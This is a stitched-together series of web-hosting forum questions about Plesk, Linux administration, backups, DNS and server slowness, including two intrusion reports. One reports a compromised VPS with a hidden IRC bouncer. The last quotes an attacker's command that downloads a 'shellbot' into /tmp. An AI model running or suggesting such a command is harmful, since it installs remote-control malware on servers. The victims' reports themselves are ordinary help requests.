I am planning to start linux hosting but don't have much knowledge about linux Operating system... can I do this without having sufficient knowledge of linux background?
Also please suggest me some good links from where I can get basic linux command and some kind of flash tutorials from which I get to know how to do work in Appache and dns etc.
Without having all of the operating systems at my disposal for testing, I would like to figure out a way to determine the operating system of a remotely accessed Linux machine.
It seems pretty strange though, since cPanel reports both machines I am using as being
CENTOS Enterprise 4.5 i686, yet one's uname -a reports:
Code: Linux hostsentry.crucialwebhost.com 2.6.9-023stab044.4-enterprise #1 SMP Thu May 24 17:41:23 MSD 2007 i686 i686 i386 GNU/Linux
Code: Linux main.7kb.org 2.6.9-55.0.6.ELsmp #1 SMP Tue Sep 4 21:36:00 EDT 2007 i686 i686 i386 GNU/Linux I'm assuming there is a way to determine the OS from this information. Anyone know how?
I enabled rkhunter in Plesk 12 to check the system weekly. I get a warning now, which I never got in older versions of Plesk:
The current hash function (/usr/bin/sha1sum) or package manager (DPKG) is incompatible with the hash function (Unset) or package manager (Unset) used to store the values. Debian 7.6 x64
in CENTOS 6.6 / PLESK 12 when I use the find command I get this notice:find: File system loop detected; "/var/named/chroot/var/named" is part of the same file system loop as "/var/named".
Is it possible to query for a list of system users using the API RPC? I know it's possible with a MySQL query
Code: select id, login, account_id from sys_users order by login;
I've searched through the API RPC manual, but I don't see a way to do this. I always have to specify a filter, I can't find a way to just query for all users.
I got a new Server with Plesk 12.0.8 (old one has 11.5.30). Now I have to migrate all Subscriptions of the old System into the new one.
I tested it with one item and all time I get this warning:
Warning:SSL certificate "default certificate" Execution of /opt/psa/admin/plib/api-cli/certificate.php --create default certificate -cert-file /opt/psa/PMM/tmp/pmm-cert-GzVcei -key-file /opt/psa/PMM/tmp/pmm-privkey-PgXbaU -print-signature -admin -ignore-nonexistent-options failed with return code 1. Stderr is Unable to create certificate "default certificate": Unable to set the private key: Probably, the private key format is invalid.
My /var/www/vhosts/system directory was accidentally deleted. The actual vhost directories are unharmed, e.g. /var/www/vhosts/example.com. Is there a non-destructive script I can run to re-initialize the system directory? I am on Plesk 11.5.30.
I have just used rsync to backup a dedicated server to a new cloud server. I put the files in a plesk webspace 'Backup' folder for ease of use (gui). In File Manager for that webspace it shows the folder user and group as root, which is obviously correct as rsync maintains users etc?
Thats fine, I just wanted to be able to back them up along with the rest of the server configuration and content.
However, when I run backup it says "For security reasons, backing up is performed on behalf of subscription's system user. This system user has no read access to:" and "So it was not backed up. All other data was backed up successfully. To fix this issue you may grant access read/write to the file or directory for system user "(username)" or "apache"."
I don't know how to give read/write access to the system user? Through file manager there is no option to change permissions.
I have a Cloud VPS with 1and1 and Plesk is installed on it. I happen to have a VPS view that doesn't include DNS functionality for the domains.
So, i have added domain to the system, create an email address... because i dont see on how i can manage DNS settings I have set up cloudflare and pointed domain to the cloudflare and cloudflare is pointing to server.
so I have email: me@domain.com
on cloudflare i have: A domain @ IP A www @ IP CNAME mail @ domain MX 10 mail.domain
In plesk i have set up an alias, mail.domain for domain, that has access to email.
I go to the network-tools.com to look up me@domain.com: [Resolving mail.domain...] [Contacting mail.domain [IP]...] [Timed out]
I have a server with openSuSE 13.1 and Plesk 12.0.18#7 and get following Warnings:
Warning: phpinfo(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /srv/www/vhosts
Warning: getdate(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /srv/www/vhosts/s535829144.online.de/httpdocs/contenido/includes/pseudo-cron.inc.php on line 306
I set php.ini from UTC to Europe/Berlin and restart the Server, thats no Effect.
My company and I are currently discovering Plesk on a CentOS 6.6 based system. We are migrating from an old system on which FTP usernames could hold uppercase letters, which apparently is not the case in Plesk 11 (or is it because of CentOS?).
Anyway, as we can't change these FTP account names, I was thinking about creating a rule with mod_rewrite in the proftpd.conf file.
So the question is: how can I reinstall/reconfigure proftpd with this module activated? I don't even know where to find the corresponding package (which repo, correct version, etc...)
When I deny all other traffic for the "System policy for incoming traffic" to secure the server by only allowing the explicit ports I've requested to open, my server stops operating correctly.
It appears when I set the "System policy for incoming traffic" to deny, it appears to be disrupting various functions such as web traffic over ports 80/443, FTP, SSH, they either work extremely slow or don't work at all.
I brought this up with my Plesk license provider and they stated that the Plesk firewall doesn't add any tracking for ephemeral ports, therefore if you set the policy to drop for incoming/outgoing, it's not going to allow proper TCP communication since the return socket can't be opened. Also that the firewall is an explicit deny system rather than explicit allow based system.
Am I doing something wrong? All I want to do is to block all ports other than the ones I've set to allow. Is this how it is supposed to work?
I've written a script to send property data to rightmove.co.uk as part of their new automated data feed. However they require a secure connection to their systems when posting the data. They have provided me with a .pem file which is a security certificate. I need to install this on my plesk server but where to start as most certificates require a private key and the actual certificate. The private key I have been provided is only an 8 charter string, like a password.
I thought this problem was fixed in Plesk 11.5 but I'm still getting the following backup warnings in Plesk 12..."For security reason backup is performed on behalf of subscription system user...."
My phpbb forum creates cache files which have apache ownership and Plesk backup manager gives warnings that it cannot backup the files due to ownership errors.
I have searched for days for a solution without success. If I change the permissions to owner instead of apache the forums don't function correctly.
Is this a Plesk bug that is still evident in Plesk 12?
I have a new CentOS 7, with Plesk 12, CentOS 7 by default has XFS filesystem.
I try migrate sites from another Plesk Server but Plesk agent say: "hard disk quota is not supported due to configuration of server file system" (my CentOS 7)
I added "usrquota,grpquota", then mount -o remount / ; but when I try quotacheck -fmv / I gest this:
[root@ns ~]$ quotacheck -fmv / quotacheck: Skipping /dev/mapper/centos-root [/] quotacheck: Cannot find filesystem to check or filesystem not mounted with quota option.
but quotaon command works:
[root@ns ~]$ quotaon / quotaon: Enforcing group quota already on /dev/mapper/centos-root quotaon: Enforcing user quota already on /dev/mapper/centos-root
The problem here is why Plesk does not recognize quotas as enabled on CentOS 7??
Would like to know what are the dangers of backing up and restoring full entire system backups (with plesk installed) to another server with a different ip address? Will the restored plesk setup operate properly and offer an ip address change in the system, or will there be any pre-requisites required such as manual ip changing within the system core files?
I've been trying to fight off a hacker's attack for the past 24 hours. Chronologically, this is how the events evolved:
- Yesterday, I tried SSH-ing into my server as usual and I got an error saying that the host's key was not recognized, which made a bit suspicious
- I tried logging into my VPS' PowerPanel, but my root password did not work, which I found disturbing. I reached out to support and they reset the password
- I ignored Putty's warning and SSH-ed into the server and was greeted by this, which I've never seen before:
Code: Last login: Wed Mar 14 2007 14:13:35 -0500 No mail. This made even more conscious and I started actively searching for indicators of a breach.
- The following processes were running, and I did not recognize them:
Code: named 15756 0.0 0.4 36088 2256 ? S Mar14 0:00 /usr/sbin/named -u named -t /var/named/chroot
dmorg 26360 0.0 0.1 2264 872 pts/2 T 20:40 0:00 sh -c (cd /usr/share/man && (echo ".ll 14.2i"; echo ".pl 1100i"; /usr/bin/gunzip -c '/usr/share dmorg 26361 0.0 0.1 2264 512 pts/2 T 20:40 0:00 sh -c (cd /usr/share/man && (echo ".ll 14.2i"; echo ".pl 1100i"; /usr/bin/gunzip -c '/usr/share - Then I found a user called 'pma' in the /home directory, which I had never created. I could not find any suspicious files in the user's directory
- I finally spotted the point of breach in /var/log/messages:
Code: Mar 15 15:05:25 xxxxxxxxx passwd(pam_unix)[28121]: password changed for root Mar 15 15:06:34 xxxxxxxxx su(pam_unix)[30182]: session opened for user news by (uid=0) Mar 15 15:07:16 xxxxxxxxx su(pam_unix)[30182]: session closed for user news Mar 15 15:22:04 xxxxxxxxx sshd[20118]: Listener created on port 22. Mar 15 15:22:04 xxxxxxxxx sshd[20119]: Daemon is running. Mar 15 15:28:01 xxxxxxxxx su(pam_unix)[32568]: session opened for user pma by (uid=0) Mar 15 15:28:45 xxxxxxxxx su(pam_unix)[32568]: session closed for user pma Somehow they had gotten in as root and then opened sessions for news and pma.
- This morning I finally found where the hacker's files are hiding. He had created a new user overnight and a directory in there called "...". The folder contains various files:
Code: [root@xxxxxxxxx root]# cd "..." [root@xxxxxxxxx ...]# ls -al total 420 drwxr-xr-x 2 1004 1004 1024 Dec 17 08:57 . drwxr-x--- 8 root root 1024 Mar 16 15:48 .. -rwxr-xr-x 1 1004 1004 141817 Sep 3 2001 init -rw-r--r-- 1 1004 1004 113482 Mar 15 15:09 log -rw------- 1 1004 1004 640 Feb 18 05:34 messages -rw-r--r-- 1 1004 1004 664 Feb 27 01:12 muhrc -rwxr-xr-x 1 1004 1004 165596 Nov 2 2004 pico -rw------- 1 1004 1004 5 Mar 15 15:09 pid [root@xxxxxxxxx ...]# - Here's what's in the log file:
Code: [root@xxxxxxxxx ...]# less log
[Thu 08 May 08:03:27] + ---------- NEW SESSION ---------- [Thu 08 May 08:03:27] + muh version 2.05d - starting log... [Thu 08 May 08:03:27] + listening on port 6667. [Thu 08 May 08:03:27] + muh's nick is 'StefanG'. [Thu 08 May 08:03:27] + trying server 'geneva.ch.eu.undernet.org' on port 6667... [Thu 08 May 08:03:28] + tcp-connection to 'geneva.ch.eu.undernet.org' established! [Thu 08 May 08:03:29] + connected to 'Geneva.CH.EU.Undernet.org'. [Thu 08 May 08:03:30] + caught client from 'pcp02588223pcs.shlb1201.mi.comcast.net'. [Thu 08 May 08:03:45] + authorization successful! [Thu 08 May 08:03:45] + reintroducing channels...
[Thu 08 May 08:07:54] + ---------- NEW SESSION ---------- [Thu 08 May 08:07:54] + muh version 2.05d - starting log... [Thu 08 May 08:07:54] + listening on port 6667. [Thu 08 May 08:07:54] + muh's nick is 'StefanG'. [Thu 08 May 08:07:54] + trying server 'eu.undernet.org' on port 6667... [Thu 08 May 08:07:55] + tcp-connection to 'eu.undernet.org' established! [Thu 08 May 08:08:05] + connected to 'Diemen.NL.EU.Undernet.org'. [Thu 08 May 08:08:05] + caught client from 'pcp02588223pcs.shlb1201.mi.comcast.net'. [Thu 08 May 08:08:05] + authorization successful! [Thu 08 May 08:08:05] + reintroducing channels... There is a whole lot of these in that log file, and the timestamps look odd. I am not sure what all this is.
- This is where I am at right now. Can you guys help figure this thing out? How did they get in? What sort of vulnerability are they using? How can I patch things up?
- Here is my server info:
Code: [root@xxxxxxxxx ...]# uname -a Linux xxxxxxxxx.org 2.6.9-023stab033.9-enterprise #1 SMP Tue Dec 5 14:40:57 MSK 2006 i686 athlon i386 GNU/Linux
[root@xxxxxxxxx httpd]# vmstat 5 5 procs -----------memory---------- ---swap-- -----io---- --system-- ----cpu---- r b swpd free buff cache si so bi bo in cs us sy id wa 1 0 0 390688 0 0 0 0 0 0 0 8365 1 0 99 0 0 0 0 390524 0 0 0 0 0 0 0 0 0 0 100 0 0 0 0 390524 0 0 0 0 0 0 0 0 0 0 100 0 0 0 0 390528 0 0 0 0 0 0 0 0 0 0 100 0 0 0 0 390528 0 0 0 0 0 0 0 0 0 0 100 0
- I have Apache & MySQL & PHP running. I host 3 websites. They run Simple Machines Forum 1.1.2, phpMyAdmin, phpcollab, awstats and that's about it.
I have a few different types of servers, all of which came with their own KVMoIP setup, aka DRAC and iLO which have worked only so so since their deployment. The HP iLO has performed absolutely flawlessly but the DRAC on the other hand has been nothing less than a complete nightmare.
I'm looking for a KVM over IP system that we can connect to multiple servers, mainly Dell, that is 100% reliable and completely stable. Not something that will be giving Java errors randomly when you actually need it to work.
So far I've came across the Raritan Dominion KX II which looks pretty promising. Is there any other KVM over IP systems or manufactures that I should look into? Has anyone used this and can you comment about its reliability?
Recently, my server has been running real slow and I don't know why... I've not noticed any increase in traffic (In fact it goes slow with no traffic on it...), what are some things I can look at to try and diagnose the problem? I know next to nothing about *nix so please speak in great detail.
Anytime I restart Apache, it loads quick for a few seconds then gets slow again...
Here are the top few processes listed on the process manager: .....
I have a VPS acct with Plesk, am peaking out my system ram at 128mb. Host said to allocate ,ore = purchase more. What I would like to do is hunt down where I am using the most of it. I have 8 sites (non that are too big). Most of them are wordpress sites.
Would caching help? Not sure where to look to find this out.
Ive been getting the following System Warning every hour since I set the server up 5 days ago and Google hasn't been a lot of help in tracking down what it means and if I should be concerned. Im hoping someone here can point me in the right direction. Im running Windows 2003 Web Edition.
Quote:
Event Type:Warning Event Source:LSASRV Event Category:SPNEGO (Negotiator) Event ID:40960 Date:3/20/2007 Time:7:45:33 PM User:N/A Computer:B02S08MR Description: The Security System detected an authentication error for the server DNS/ns.ufcom.com. The failure code from authentication protocol Kerberos was "There are currently no logon servers available to service the logon request. (0xc000005e)".
For more information, see Help and Support Center at [url] Data: 0000: 5e 00 00 c0
I keep receiving hacking attempts from someone accessing my server and running commands like these:
Code: hubberfix
sh -c cd /tmp;lwp-download [url] shellbot
I cannot find any logs with these attempts. Or at least any with info like an IP address or host doing this.
Not to sound like a noob, but where can I find logs that would tell me all the commands run on my system? FYI, I'm running Debian Sarge, and I looked in "/var/log" and I can't find much of anything.